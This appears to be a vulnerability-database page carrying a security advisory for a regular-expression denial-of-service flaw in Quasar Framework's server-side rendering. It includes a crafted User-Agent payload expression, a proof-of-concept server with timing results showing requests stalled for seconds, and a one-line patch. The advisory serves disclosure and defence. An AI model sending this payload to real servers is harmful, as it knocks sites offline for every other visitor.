\u0027webkit/\u0027 + \u0027a\u0027.repeat(k) + \u0027 \u0027 + \u0027version/1 \u0027.repeat(m)   // 7998 bytes\n```\n\nServer used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:\n\n```js\nimport http from \u0027node:http\u0027\nimport { Platform } from \u0027quasar\u0027          // resolves to dist/quasar.server.prod.js\n\nhttp.createServer((req, res) =\u003e {\n  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does\n  res.end(`\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003ebrowser=${platform.is.name}\u003c/body\u003e\u003c/html\u003e`)\n}).listen(3100, \u0027127.0.0.1\u0027)\n```\n\nResults of driving that server with the 7998-byte header:\n\n```\n[1] BASELINE - normal browser UA\n  benign UA, GET /                       status=200        13 ms\n  benign UA, GET / (2nd)                 status=200         1 ms\n\n[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length\n  same-size benign UA                    status=200         2 ms\n\n[3] POSITIVE - crafted User-Agent\n  malicious UA, GET /                    status=200      4355 ms\n\n[4] POSITIVE - crafted UA against a NON-EXISTENT route\n  malicious UA, GET /404path             status=200      4319 ms\n\n[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later\n  attacker (malicious UA)                status=200      4329 ms\n  VICTIM (normal browser, benign UA)     status=200      4208 ms\n\n[6] SUSTAINED - 5 attacker requests in flight, victim loads the site\n  VICTIM during 5-request flood          status=200     21646 ms\n```\n\nStep 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else\u0027s header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.\n\nNegative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`:\n\n```\n-  I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t)}};\n+  I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};\n```\n\nRe-running the identical attack against the patched build:\n\n```\n[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms\n[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms\n[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms\n[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms\n```\n\nDetection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.\n\nThe same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own:\n\n```js\nconst ssrContext = { req, res }\nconst app = createSSRApp(RootComponent)\napp.use(Quasar, {}, ssrContext)\nconst html = await renderToString(app, ssrContext)\n```\n\n```\n[3] malicious UA, GET /                  status=200      4354 ms\n[5] VICTIM (normal browser, benign UA)   status=200      4269 ms\n[6] VICTIM during 5-request flood        status=200     21872 ms\n[2] same-size benign UA (7998 B)         status=200         2 ms\n```\n\n### Impact\n\nUncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.\n\nNode.js is single threaded, so the cost is not paid by the attacker\u0027s connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.\n\nApps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.",
  "id": "GHSA-68jq-fhch-4xq4",
  "modified": "2026-10-07T16:14:31Z",
  "published": "2026-10-07T16:14:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quasarframework/quasar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-106104 (GCVE-0-2026-106104)

FKIE_CVE-2026-106104

GHSA-68JQ-FHCH-4XQ4

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour